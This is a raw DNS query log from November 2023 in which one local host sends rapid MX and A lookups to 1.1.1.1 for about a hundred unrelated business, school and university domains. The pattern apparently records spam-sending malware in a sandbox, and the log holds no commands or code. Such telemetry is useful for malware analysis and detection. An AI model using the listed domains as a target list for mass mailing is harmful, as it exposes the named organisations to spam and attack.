Nov 26, 2023 06:59:28.252233982 CET	1.1.1.1	192.168.2.4	0x261e	No error (0)	cringemonster.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252955914 CET	1.1.1.1	192.168.2.4	0x5f89	No error (0)	midcapfunding.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252955914 CET	1.1.1.1	192.168.2.4	0x5f89	No error (0)	midcapfunding.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252955914 CET	1.1.1.1	192.168.2.4	0x5f89	No error (0)	midcapfunding.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252955914 CET	1.1.1.1	192.168.2.4	0x5f89	No error (0)	midcapfunding.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252955914 CET	1.1.1.1	192.168.2.4	0x5f89	No error (0)	midcapfunding.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.253123045 CET	1.1.1.1	192.168.2.4	0x5583	Name error (3)	paintd.plus.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.256552935 CET	1.1.1.1	192.168.2.4	0x7567	No error (0)	dstaq.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.256552935 CET	1.1.1.1	192.168.2.4	0x7567	No error (0)	dstaq.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.256552935 CET	1.1.1.1	192.168.2.4	0x7567	No error (0)	dstaq.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.261305094 CET	1.1.1.1	192.168.2.4	0x466f	No error (0)	rdelealtad.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.261305094 CET	1.1.1.1	192.168.2.4	0x466f	No error (0)	rdelealtad.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262482882 CET	1.1.1.1	192.168.2.4	0xcfb8	No error (0)	mdystudent.net			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262482882 CET	1.1.1.1	192.168.2.4	0xcfb8	No error (0)	mdystudent.net			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262482882 CET	1.1.1.1	192.168.2.4	0xcfb8	No error (0)	mdystudent.net			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262482882 CET	1.1.1.1	192.168.2.4	0xcfb8	No error (0)	mdystudent.net			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262482882 CET	1.1.1.1	192.168.2.4	0xcfb8	No error (0)	mdystudent.net			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.262500048 CET	1.1.1.1	192.168.2.4	0x955e	Name error (3)	xtsagency.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.263551950 CET	1.1.1.1	192.168.2.4	0x9371	No error (0)	integraledu.hr			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.269547939 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	wasserman.us			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.269547939 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	wasserman.us			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.271991014 CET	1.1.1.1	192.168.2.4	0x7c50	No error (0)	nohonetworks.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.274266005 CET	1.1.1.1	192.168.2.4	0x9771	No error (0)	pixiil.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.293523073 CET	1.1.1.1	192.168.2.4	0x554a	No error (0)	rochester-gauges.be			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.300201893 CET	1.1.1.1	192.168.2.4	0x1721	No error (0)	directlendersllc.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.300374985 CET	1.1.1.1	192.168.2.4	0xbb2d	No error (0)	directlendersllc.com		162.250.126.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.305114985 CET	1.1.1.1	192.168.2.4	0x1546	No error (0)	himontessori.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.325609922 CET	1.1.1.1	192.168.2.4	0xf157	No error (0)	hmichaelandco.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.325609922 CET	1.1.1.1	192.168.2.4	0xf157	No error (0)	hmichaelandco.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.325609922 CET	1.1.1.1	192.168.2.4	0xf157	No error (0)	hmichaelandco.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.325609922 CET	1.1.1.1	192.168.2.4	0xf157	No error (0)	hmichaelandco.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.325609922 CET	1.1.1.1	192.168.2.4	0xf157	No error (0)	hmichaelandco.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.337199926 CET	1.1.1.1	192.168.2.4	0x41f0	No error (0)	killicit.com		44.219.53.183	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.337199926 CET	1.1.1.1	192.168.2.4	0x41f0	No error (0)	killicit.com		54.84.236.175	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.348334074 CET	1.1.1.1	192.168.2.4	0x8f7d	No error (0)	mdystudent.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.348334074 CET	1.1.1.1	192.168.2.4	0x8f7d	No error (0)	mdystudent.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.354979038 CET	1.1.1.1	192.168.2.4	0x1907	No error (0)	octetpowers.in		148.66.138.193	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.355241060 CET	1.1.1.1	192.168.2.4	0x52a6	No error (0)	esoft.academy			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.358820915 CET	1.1.1.1	192.168.2.4	0xb8c6	No error (0)	avient.com		23.185.0.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.359205961 CET	1.1.1.1	192.168.2.4	0x7bc1	No error (0)	gethsemane.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.359767914 CET	1.1.1.1	192.168.2.4	0x35fa	No error (0)	eco-landeck.at			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.361143112 CET	1.1.1.1	192.168.2.4	0x383e	No error (0)	lumaruniformes.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.361742973 CET	1.1.1.1	192.168.2.4	0xf2ae	No error (0)	edgewater.group			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.364245892 CET	1.1.1.1	192.168.2.4	0xc043	No error (0)	bvhrs.com		68.168.209.252	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.366425991 CET	1.1.1.1	192.168.2.4	0xd87d	No error (0)	hmichaelandco.com		139.162.169.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.366866112 CET	1.1.1.1	192.168.2.4	0x305d	No error (0)	eco-landeck.at		116.202.203.176	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.369947910 CET	1.1.1.1	192.168.2.4	0x7f19	No error (0)	gethsemane.org		75.118.8.65	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.377249956 CET	1.1.1.1	192.168.2.4	0x1806	No error (0)	ondania.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.389537096 CET	1.1.1.1	192.168.2.4	0xfc8b	Name error (3)	lwindowelive.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.397142887 CET	1.1.1.1	192.168.2.4	0xf937	No error (0)	tradeavenida.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.400965929 CET	1.1.1.1	192.168.2.4	0xcc41	Name error (3)	carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.406816959 CET	1.1.1.1	192.168.2.4	0x23af	Name error (3)	yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.408162117 CET	1.1.1.1	192.168.2.4	0x8704	No error (0)	micro-design.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.408162117 CET	1.1.1.1	192.168.2.4	0x8704	No error (0)	micro-design.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.408162117 CET	1.1.1.1	192.168.2.4	0x8704	No error (0)	micro-design.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.408162117 CET	1.1.1.1	192.168.2.4	0x8704	No error (0)	micro-design.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.408162117 CET	1.1.1.1	192.168.2.4	0x8704	No error (0)	micro-design.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.411640882 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	gatewaytoearlylearning.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.411640882 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	gatewaytoearlylearning.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.411640882 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	gatewaytoearlylearning.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.411640882 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	gatewaytoearlylearning.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.411640882 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	gatewaytoearlylearning.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.412672997 CET	1.1.1.1	192.168.2.4	0x5a19	No error (0)	gmailvz.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.422646046 CET	1.1.1.1	192.168.2.4	0x3ee7	No error (0)	wasserman.us		216.250.121.106	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.428901911 CET	1.1.1.1	192.168.2.4	0xf88b	No error (0)	micro-design.com		34.208.26.152	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434497118 CET	1.1.1.1	192.168.2.4	0x3e99	No error (0)	students.kasralainy.edu.eg			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434497118 CET	1.1.1.1	192.168.2.4	0x3e99	No error (0)	students.kasralainy.edu.eg			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434497118 CET	1.1.1.1	192.168.2.4	0x3e99	No error (0)	students.kasralainy.edu.eg			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434497118 CET	1.1.1.1	192.168.2.4	0x3e99	No error (0)	students.kasralainy.edu.eg			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434497118 CET	1.1.1.1	192.168.2.4	0x3e99	No error (0)	students.kasralainy.edu.eg			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434546947 CET	1.1.1.1	192.168.2.4	0xa17	No error (0)	ibright.net			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434925079 CET	1.1.1.1	192.168.2.4	0x28a3	No error (0)	schor.be			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434925079 CET	1.1.1.1	192.168.2.4	0x28a3	No error (0)	schor.be			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434925079 CET	1.1.1.1	192.168.2.4	0x28a3	No error (0)	schor.be			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434925079 CET	1.1.1.1	192.168.2.4	0x28a3	No error (0)	schor.be			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.434925079 CET	1.1.1.1	192.168.2.4	0x28a3	No error (0)	schor.be			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.435293913 CET	1.1.1.1	192.168.2.4	0xaee3	No error (0)	midcapfunding.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.435293913 CET	1.1.1.1	192.168.2.4	0xaee3	No error (0)	midcapfunding.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.437302113 CET	1.1.1.1	192.168.2.4	0x8e59	Name error (3)	kvsroraipur.in	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.438477039 CET	1.1.1.1	192.168.2.4	0x698f	Name error (3)	mnit.uc.in	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.440583944 CET	1.1.1.1	192.168.2.4	0x4aa8	Name error (3)	lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.440787077 CET	1.1.1.1	192.168.2.4	0x5101	No error (0)	rechagricola.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.444962978 CET	1.1.1.1	192.168.2.4	0x7d1c	No error (0)	linkan-group.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.444962978 CET	1.1.1.1	192.168.2.4	0x7d1c	No error (0)	linkan-group.com		185.230.63.171	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.444962978 CET	1.1.1.1	192.168.2.4	0x7d1c	No error (0)	linkan-group.com		185.230.63.186	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.446005106 CET	1.1.1.1	192.168.2.4	0x22a6	No error (0)	srmist.edu.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.446005106 CET	1.1.1.1	192.168.2.4	0x22a6	No error (0)	srmist.edu.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.446005106 CET	1.1.1.1	192.168.2.4	0x22a6	No error (0)	srmist.edu.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.446005106 CET	1.1.1.1	192.168.2.4	0x22a6	No error (0)	srmist.edu.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.446005106 CET	1.1.1.1	192.168.2.4	0x22a6	No error (0)	srmist.edu.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.452969074 CET	1.1.1.1	192.168.2.4	0x496a	No error (0)	greenrworld.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.453042030 CET	1.1.1.1	192.168.2.4	0x6bd6	No error (0)	himontessori.com		74.220.219.189	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.458976984 CET	1.1.1.1	192.168.2.4	0x20e8	No error (0)	pasarjohar.biz			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.458976984 CET	1.1.1.1	192.168.2.4	0x20e8	No error (0)	pasarjohar.biz			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.464169979 CET	1.1.1.1	192.168.2.4	0xd372	Name error (3)	y3.qj51acp	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.465176105 CET	1.1.1.1	192.168.2.4	0xbb23	No error (0)	viidelta.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.465176105 CET	1.1.1.1	192.168.2.4	0xbb23	No error (0)	viidelta.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.469507933 CET	1.1.1.1	192.168.2.4	0x5b43	Name error (3)	dbschooldelhi.ac.in	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.472088099 CET	1.1.1.1	192.168.2.4	0xe3ef	Name error (3)	ardcrushing.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.472698927 CET	1.1.1.1	192.168.2.4	0x12fb	No error (0)	svenssonfriends.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.472698927 CET	1.1.1.1	192.168.2.4	0x12fb	No error (0)	svenssonfriends.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.472698927 CET	1.1.1.1	192.168.2.4	0x12fb	No error (0)	svenssonfriends.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.472698927 CET	1.1.1.1	192.168.2.4	0x12fb	No error (0)	svenssonfriends.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.472698927 CET	1.1.1.1	192.168.2.4	0x12fb	No error (0)	svenssonfriends.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.473006010 CET	1.1.1.1	192.168.2.4	0xed4b	No error (0)	gspousea.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.473006010 CET	1.1.1.1	192.168.2.4	0xed4b	No error (0)	gspousea.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474117994 CET	1.1.1.1	192.168.2.4	0x1655	No error (0)	leeberg.dk			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474117994 CET	1.1.1.1	192.168.2.4	0x1655	No error (0)	leeberg.dk			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474519968 CET	1.1.1.1	192.168.2.4	0xce54	No error (0)	2brosandahosepressurewashing.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474519968 CET	1.1.1.1	192.168.2.4	0xce54	No error (0)	2brosandahosepressurewashing.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474519968 CET	1.1.1.1	192.168.2.4	0xce54	No error (0)	2brosandahosepressurewashing.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474519968 CET	1.1.1.1	192.168.2.4	0xce54	No error (0)	2brosandahosepressurewashing.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474519968 CET	1.1.1.1	192.168.2.4	0xce54	No error (0)	2brosandahosepressurewashing.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.474747896 CET	1.1.1.1	192.168.2.4	0xcb05	No error (0)	chandigarhuniversityazure.onmicrosoft.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.475958109 CET	1.1.1.1	192.168.2.4	0x6fdf	Name error (3)	2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.480638981 CET	1.1.1.1	192.168.2.4	0x18e5	No error (0)	americanrecords.it			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.480638981 CET	1.1.1.1	192.168.2.4	0x18e5	No error (0)	americanrecords.it			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.487061977 CET	1.1.1.1	192.168.2.4	0x99bc	No error (0)	samson.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.487061977 CET	1.1.1.1	192.168.2.4	0x99bc	No error (0)	samson.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.487061977 CET	1.1.1.1	192.168.2.4	0x99bc	No error (0)	samson.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.489115953 CET	1.1.1.1	192.168.2.4	0xcff4	Name error (3)	paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.492060900 CET	1.1.1.1	192.168.2.4	0xa8f2	No error (0)	quipuapp.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.492060900 CET	1.1.1.1	192.168.2.4	0xa8f2	No error (0)	quipuapp.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.492060900 CET	1.1.1.1	192.168.2.4	0xa8f2	No error (0)	quipuapp.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.492060900 CET	1.1.1.1	192.168.2.4	0xa8f2	No error (0)	quipuapp.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.492060900 CET	1.1.1.1	192.168.2.4	0xa8f2	No error (0)	quipuapp.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.495789051 CET	1.1.1.1	192.168.2.4	0xaf1b	No error (0)	dstaq.com		185.230.63.171	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.495789051 CET	1.1.1.1	192.168.2.4	0xaf1b	No error (0)	dstaq.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.495789051 CET	1.1.1.1	192.168.2.4	0xaf1b	No error (0)	dstaq.com		185.230.63.186	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.496969938 CET	1.1.1.1	192.168.2.4	0x8ccc	No error (0)	unaj.edu.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.496969938 CET	1.1.1.1	192.168.2.4	0x8ccc	No error (0)	unaj.edu.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.496969938 CET	1.1.1.1	192.168.2.4	0x8ccc	No error (0)	unaj.edu.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.496969938 CET	1.1.1.1	192.168.2.4	0x8ccc	No error (0)	unaj.edu.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.496969938 CET	1.1.1.1	192.168.2.4	0x8ccc	No error (0)	unaj.edu.pe			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.501549006 CET	1.1.1.1	192.168.2.4	0x9303	No error (0)	ce-logic.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.503030062 CET	1.1.1.1	192.168.2.4	0xbb7f	No error (0)	grantstech.io			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.503273964 CET	1.1.1.1	192.168.2.4	0x4151	No error (0)	coralparkchristian.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.503273964 CET	1.1.1.1	192.168.2.4	0x4151	No error (0)	coralparkchristian.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.504400969 CET	1.1.1.1	192.168.2.4	0x1ad4	No error (0)	cardenas.mtz.rimed.cu			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.504865885 CET	1.1.1.1	192.168.2.4	0xd9f2	No error (0)	capforge.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.504865885 CET	1.1.1.1	192.168.2.4	0xd9f2	No error (0)	capforge.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.504865885 CET	1.1.1.1	192.168.2.4	0xd9f2	No error (0)	capforge.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.504865885 CET	1.1.1.1	192.168.2.4	0xd9f2	No error (0)	capforge.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.504865885 CET	1.1.1.1	192.168.2.4	0xd9f2	No error (0)	capforge.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.512028933 CET	1.1.1.1	192.168.2.4	0xf9a6	No error (0)	privatemoe.ae			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.525882959 CET	1.1.1.1	192.168.2.4	0xcff3	No error (0)	esistem.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.525882959 CET	1.1.1.1	192.168.2.4	0xcff3	No error (0)	esistem.com.br			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.527693033 CET	1.1.1.1	192.168.2.4	0x7b49	No error (0)	gasp-ga.com		162.241.224.218	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.530421019 CET	1.1.1.1	192.168.2.4	0xcd6b	No error (0)	lumaruniformes.com		162.241.62.220	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.530580997 CET	1.1.1.1	192.168.2.4	0xcc35	No error (0)	engel-firm.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.532710075 CET	1.1.1.1	192.168.2.4	0x69e	No error (0)	robinsonland.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:28.532710075 CET	1.1.1.1	192.168.2.4	0x69e	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:28.534697056 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	tiswheels.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.534697056 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	tiswheels.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.534697056 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	tiswheels.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.534697056 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	tiswheels.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.534697056 CET	1.1.1.1	192.168.2.4	0x6f88	No error (0)	tiswheels.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.538773060 CET	1.1.1.1	192.168.2.4	0xc723	No error (0)	grg17geblergasse.at			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.540246964 CET	1.1.1.1	192.168.2.4	0xcdf5	No error (0)	rochester-gauges.be		178.32.41.233	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.552253008 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	prettypollycleaning.ae			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.552253008 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	prettypollycleaning.ae			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.552253008 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	prettypollycleaning.ae			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.552253008 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	prettypollycleaning.ae			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.552253008 CET	1.1.1.1	192.168.2.4	0x6b7f	No error (0)	prettypollycleaning.ae			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.565763950 CET	1.1.1.1	192.168.2.4	0x5785	No error (0)	firemailbox.club			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.565763950 CET	1.1.1.1	192.168.2.4	0x5785	No error (0)	firemailbox.club			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.566531897 CET	1.1.1.1	192.168.2.4	0x58b3	No error (0)	perrisesd.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.566531897 CET	1.1.1.1	192.168.2.4	0x58b3	No error (0)	perrisesd.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.566531897 CET	1.1.1.1	192.168.2.4	0x58b3	No error (0)	perrisesd.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.566531897 CET	1.1.1.1	192.168.2.4	0x58b3	No error (0)	perrisesd.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.566531897 CET	1.1.1.1	192.168.2.4	0x58b3	No error (0)	perrisesd.org			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.571537971 CET	1.1.1.1	192.168.2.4	0x4bf7	No error (0)	ceuandalucia.es			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.573909998 CET	1.1.1.1	192.168.2.4	0x968d	No error (0)	esistem.com.br		191.6.210.8	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.586152077 CET	1.1.1.1	192.168.2.4	0x96f1	No error (0)	xegge.com			MX (Mail exchange)	IN (0x0001)	false
